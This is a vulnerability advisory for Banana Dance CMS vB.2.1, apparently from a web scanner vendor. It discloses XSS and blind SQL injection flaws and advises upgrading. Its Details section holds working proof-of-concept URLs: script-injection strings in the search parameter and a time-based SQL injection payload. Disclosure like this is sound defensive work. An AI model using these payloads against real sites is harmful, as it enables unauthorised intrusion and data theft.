XSS and Blind SQL Injection Vulnerabilities in Banana Dance CMS

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Information
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Name :  XSS and Blind SQL Injection Vulnerabilities in Banana Dance CMS
Software :  Banana Dance CMS vB.2.1
Vendor Homepage :  http://www.doyoubananadance.com
Vulnerability Type :  Cross-Site Scripting and SQL Injection
Severity :  Critical
Researcher :  Canberk Bolat
Advisory Reference :  NS-11-010

Description
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Banana Dance is a free, open source, PHP/MySQL program takes the best
of wiki software and combines it with the best of web content
management systems (CMS).

Details
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Banana Dance is affected by XSS and SQL Injection vulnerabilities in
version vB.2.1.

Example PoC urls are as follows :

http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000174)%3C/script%3E&category=3
http://example.com/search.php?q=q='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x00017B)%3C/script%3E&category=3
http://example.com/search.php?q=234&category=-111%27)%20OR%20SLEEP(25)=0%20LIMIT%201--+


You can read the full article about Cross-Site Scripting and SQL
Injection vulnerabilities from here :

Cross-site Scripting: http://www.mavitunasecurity.com/crosssite-scripting-xss/
SQL Injection: http://www.mavitunasecurity.com/sql-injection/
Blind SQL Injection: http://www.mavitunasecurity.com/blind-sql-injection/

Solution
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Upgrade to the latest Banana Dance version.

Credits
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It has been discovered on testing of Netsparker, Web Application
Security Scanner - http://www.mavitunasecurity.com/netsparker/.

References
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Vendor Url : http://www.doyoubananadance.com
MSL Advisory Link :
http://www.mavitunasecurity.com/xss-and-blind-sql-injection-vulnerabilities-in-banana-dance-cms/
Netsparker Advisories : http://www.mavitunasecurity.com/netsparker-advisories/

About Netsparker
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